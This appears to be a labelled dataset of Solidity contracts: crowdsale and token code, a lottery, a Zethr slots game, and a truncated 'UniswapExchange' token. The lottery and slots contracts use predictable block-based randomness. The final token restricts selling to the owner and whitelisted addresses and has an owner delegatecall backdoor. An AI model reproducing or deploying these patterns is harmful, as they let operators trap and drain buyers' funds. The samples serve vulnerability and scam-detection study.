else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = safeAdd(weiRaised, msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 226 |
pragma solidity ^0.4.19;
contract Token {
function totalSupply() constant returns (uint supply) {}
function balanceOf(address _owner) constant returns (uint balance) {}
function transfer(address _to, uint _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
function approve(address _spender, uint _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract PPKToken is UnboundedRegularToken {
uint public totalSupply = 100*10**26;
uint8 constant public decimals = 18;
string constant public name = "PPKToken";
string constant public symbol = "PPK";
function PPKToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 2,577 |
pragma solidity ^0.4.20;
contract Lottery{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier notPooh(address aContract)
{
require(aContract != address(revContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
REV revContract;
address owner;
bool openToPublic = false;
uint256 ticketNumber = 0;
uint256 winningNumber;
constructor() public
{
revContract = REV(0x05215FCE25902366480696F38C3093e31DBCE69A);
openToPublic = false;
owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691;
}
function() payable public { }
function deposit()
isOpenToPublic()
payable public
{
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
revContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000);
ticketNumber += extraTickets;
}
if(ticketNumber >= winningNumber)
{
revContract.exit();
payDev(owner);
payWinner(customerAddress);
resetLottery();
}
else
{
ticketNumber++;
}
}
function myTokens() public view returns(uint256)
{
return revContract.myTokens();
}
function myDividends() public view returns(uint256)
{
return revContract.myDividends(true);
}
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
function emergencyStop()
onlyOwner()
public
{
revContract.exit();
uint balance = address(this).balance;
owner.transfer(balance);
openToPublic = false;
}
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function payWinner(address winner) internal
{
uint balance = address(this).balance;
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() internal
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
function resetLotteryManually() public
onlyOwner()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract REV
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
} | 0 | 535 |
pragma solidity ^0.4.24;
contract ZethrTokenBankroll{
function gameRequestTokens(address target, uint tokens) public;
function gameTokenAmount(address what) public returns (uint);
}
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
contract ZethrInterface{
function withdraw() public;
}
library ZethrTierLibrary{
function getTier(uint divRate)
internal
pure
returns (uint)
{
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
revert();
}
}
}
contract ZlotsJackpotHoldingContract {
function payOutWinner(address winner) public;
function getJackpot() public view returns (uint);
}
contract ZethrBankrollBridge {
ZethrInterface Zethr;
address[7] UsedBankrollAddresses;
mapping(address => bool) ValidBankrollAddress;
function setupBankrollInterface(address ZethrMainBankrollAddress)
internal
{
Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811);
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
modifier fromBankroll() {
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
function RequestBankrollPayment(address to, uint tokens, uint tier)
internal
{
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
function getZethrTokenBankroll(uint divRate)
public
view
returns (ZethrTokenBankroll)
{
return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]);
}
}
contract ZethrShell is ZethrBankrollBridge {
function WithdrawToBankroll()
public
{
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
function WithdrawAndTransferToBankroll()
public
{
Zethr.withdraw();
WithdrawToBankroll();
}
}
contract ZlotsMulti is ZethrShell {
using SafeMath for uint;
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
event Loss(address _wagerer, uint _block);
event ThreeMoonJackpot(address _wagerer, uint _block);
event TwoMoonPrize(address _wagerer, uint _block);
event ZTHPrize(address _wagerer, uint _block);
event ThreeZSymbols(address _wagerer, uint _block);
event ThreeTSymbols(address _wagerer, uint _block);
event ThreeHSymbols(address _wagerer, uint _block);
event ThreeEtherIcons(address _wagerer, uint _block);
event ThreePurplePyramids(address _wagerer, uint _block);
event ThreeGoldPyramids(address _wagerer, uint _block);
event ThreeRockets(address _wagerer, uint _block);
event OneMoonPrize(address _wagerer, uint _block);
event OneOfEachPyramidPrize(address _wagerer, uint _block);
event TwoZSymbols(address _wagerer, uint _block);
event TwoTSymbols(address _wagerer, uint _block);
event TwoHSymbols(address _wagerer, uint _block);
event TwoEtherIcons(address _wagerer, uint _block);
event TwoPurplePyramids(address _wagerer, uint _block);
event TwoGoldPyramids(address _wagerer, uint _block);
event TwoRockets(address _wagerer, uint _block);
event SpinConcluded(address _wagerer, uint _block);
modifier betIsValid(uint _betSize, uint divRate, uint8 spins) {
require(_betSize.div(spins).mul(50) <= getMaxProfit(divRate));
require(_betSize.div(spins) >= minBet);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
mapping (uint => uint) public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 1e18;
address public zlotsJackpot;
address private owner;
address private bankroll;
bool public gamePaused;
bool public canMining = true;
uint public miningProfit = 100;
uint public minBetMining = 1e18;
uint public totalSpins;
uint public totalZTHWagered;
mapping (uint => uint) public contractBalance;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
constructor(address BankrollAddress)
public
{
setupBankrollInterface(BankrollAddress);
owner = msg.sender;
ownerSetMaxProfitAsPercentOfHouse(500000);
bankroll = ZTHBANKROLL;
ownerSetMinBet(1e18);
canMining = false;
miningProfit = 100;
minBetMining = 1e18;
}
function() public payable { }
struct TKN { address sender; uint value; }
function execute(address _from, uint _value, uint divRate, bytes _data)
public
fromBankroll gameIsActive
returns (bool)
{
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn, divRate, uint8(_data[0]));
return true;
}
struct playerSpin {
uint192 tokenValue;
uint48 blockn;
uint8 tier;
uint8 spins;
uint divRate;
}
mapping(address => playerSpin) public playerSpins;
function _spinTokens(TKN _tkn, uint divRate, uint8 spins)
private gameIsActive
betIsValid(_tkn.value, divRate, spins)
{
require(block.number <= ((2 ** 48) - 1));
require(_tkn.value <= ((2 ** 192) - 1));
require(divRate < (2 ** 8 - 1));
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
addContractBalance(divRate, _wagered);
require(block.number != spin.blockn);
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
spin.blockn = uint48(block.number);
spin.tokenValue = uint192(_wagered.div(spins));
spin.tier = uint8(ZethrTierLibrary.getTier(divRate));
spin.divRate = divRate;
spin.spins = spins;
playerSpins[_tkn.sender] = spin;
totalSpins += spins;
totalZTHWagered += _wagered;
if(canMining && spin.tokenValue >= minBetMining){
uint miningAmout = SafeMath.div(SafeMath.mul(_wagered, miningProfit) , 10000);
RequestBankrollPayment(_tkn.sender, miningAmout, spin.divRate);
}
emit TokensWagered(_customerAddress, _wagered);
}
function finishSpin()
public
gameIsActive
returns (uint[])
{
return _finishSpin(msg.sender);
}
struct rollData {
uint win;
uint loss;
uint jp;
}
function _finishSpin(address target)
private
returns (uint[])
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0);
require(spin.blockn != block.number);
uint[] memory output = new uint[](spin.spins);
rollData memory outcomeTrack = rollData(0,0,0);
uint category = 0;
uint profit;
uint playerDivrate = spin.divRate;
for(uint i=0; i<spin.spins; i++) {
uint result;
if (block.number - spin.blockn > 255) {
result = 1000000;
output[i] = 1000000;
} else {
result = random(1000000, spin.blockn, target, i) + 1;
output[i] = result;
}
if (result > 506856) {
outcomeTrack.loss += spin.tokenValue/100;
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else if (result < 2) {
profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot();
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.jp += 1;
} else {
if (result < 299) {
profit = SafeMath.mul(spin.tokenValue, 50);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else if (result < 3128) {
profit = SafeMath.mul(spin.tokenValue, 20);
category = 3;
emit ZTHPrize(target, spin.blockn);
} else if (result < 16961) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else if (result < 30794) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else if (result < 44627) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else if (result < 46627) {
profit = SafeMath.mul(spin.tokenValue, 11);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else if (result < 49127) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10);
category = 8;
emit ThreePurplePyramids(target, spin.blockn);
} else if (result < 51627) {
profit = SafeMath.mul(spin.tokenValue, 9);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else if (result < 53127) {
profit = SafeMath.mul(spin.tokenValue, 13);
category = 10;
emit ThreeRockets(target, spin.blockn);
} else if (result < 82530) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else if (result < 150423) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else if (result < 203888) {
profit = spin.tokenValue;
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else if (result < 257353) {
profit = spin.tokenValue;
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else if (result < 310818) {
profit = spin.tokenValue;
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else if (result < 364283) {
profit = SafeMath.mul(spin.tokenValue, 2);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else if (result < 417748) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100);
category = 17;
emit TwoPurplePyramids(target, spin.blockn);
} else if (result < 471213) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10);
category = 19;
emit TwoRockets(target, spin.blockn);
}
uint newMaxProfit = getNewMaxProfit(playerDivrate, outcomeTrack.win);
if (profit > newMaxProfit){
profit = newMaxProfit;
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.win += profit;
}
}
playerSpins[target] = playerSpin(uint192(0), uint48(0), uint8(0), uint8(0), uint(0));
if (outcomeTrack.jp > 0) {
for (i = 0; i < outcomeTrack.jp; i++) {
ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target);
}
}
if (outcomeTrack.win > 0) {
RequestBankrollPayment(target, outcomeTrack.win, spin.tier);
}
if (outcomeTrack.loss > 0) {
RequestBankrollPayment(zlotsJackpot, outcomeTrack.loss, spin.tier);
}
emit SpinConcluded(target, spin.blockn);
return output;
}
function maxRandom(uint blockn, address entropy, uint index)
private
view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy,
index
)));
}
function random(uint256 upper, uint256 blockn, address entropy, uint index)
internal
view
returns (uint256 randomNumber)
{
return maxRandom(blockn, entropy, index) % upper;
}
function setMaxProfit(uint divRate)
internal
{
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getMaxProfit(uint divRate)
public
view
returns (uint)
{
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getNewMaxProfit(uint divRate, uint currentWin)
public
view
returns (uint)
{
return ((contractBalance[divRate] - currentWin) * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function subContractBalance(uint divRate, uint sub)
internal
{
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
function addContractBalance(uint divRate, uint add)
internal
{
contractBalance[divRate] = contractBalance[divRate].add(add);
}
function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public
onlyOwner
{
contractBalance[divRate] = newContractBalance;
}
function updateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance[2] = newContractBalance;
setMaxProfit(2);
contractBalance[5] = newContractBalance;
setMaxProfit(5);
contractBalance[10] = newContractBalance;
setMaxProfit(10);
contractBalance[15] = newContractBalance;
setMaxProfit(15);
contractBalance[20] = newContractBalance;
setMaxProfit(20);
contractBalance[25] = newContractBalance;
setMaxProfit(25);
contractBalance[33] = newContractBalance;
setMaxProfit(33);
}
function bankrollExternalUpdateTokens(uint divRate, uint newBalance)
public
fromBankroll
{
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent)
public
onlyOwner
{
require(newMaxProfitAsPercent <= 500000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
function ownerSetupBankrollInterface(address ZethrMainBankrollAddress) public
onlyOwner
{
setupBankrollInterface(ZethrMainBankrollAddress);
}
function ownerSetMinBet(uint newMinimumBet)
public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetCanMining(bool newStatus) public
onlyOwner
{
canMining = newStatus;
}
function ownerSetMiningProfit(uint newProfit) public
onlyOwner
{
miningProfit = newProfit;
}
function ownerSetMinBetMining(uint newMinBetMining) public
onlyOwner
{
minBetMining = newMinBetMining;
}
function ownerSetZlotsAddress(address zlotsAddress)
public
onlyOwner
{
zlotsJackpot = zlotsAddress;
}
function changeOwner(address _newOwner)
public
onlyOwnerOrBankroll
{
owner = _newOwner;
}
function changeBankroll(address _newBankroll)
public
onlyOwnerOrBankroll
{
bankroll = _newBankroll;
}
function _zthToken(address _tokenContract)
private
view
returns (bool)
{
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b)
internal
pure
returns (uint)
{
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b)
internal
pure
returns (uint)
{
uint c = a / b;
return c;
}
function sub(uint a, uint b)
internal
pure
returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b)
internal
pure returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,009 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
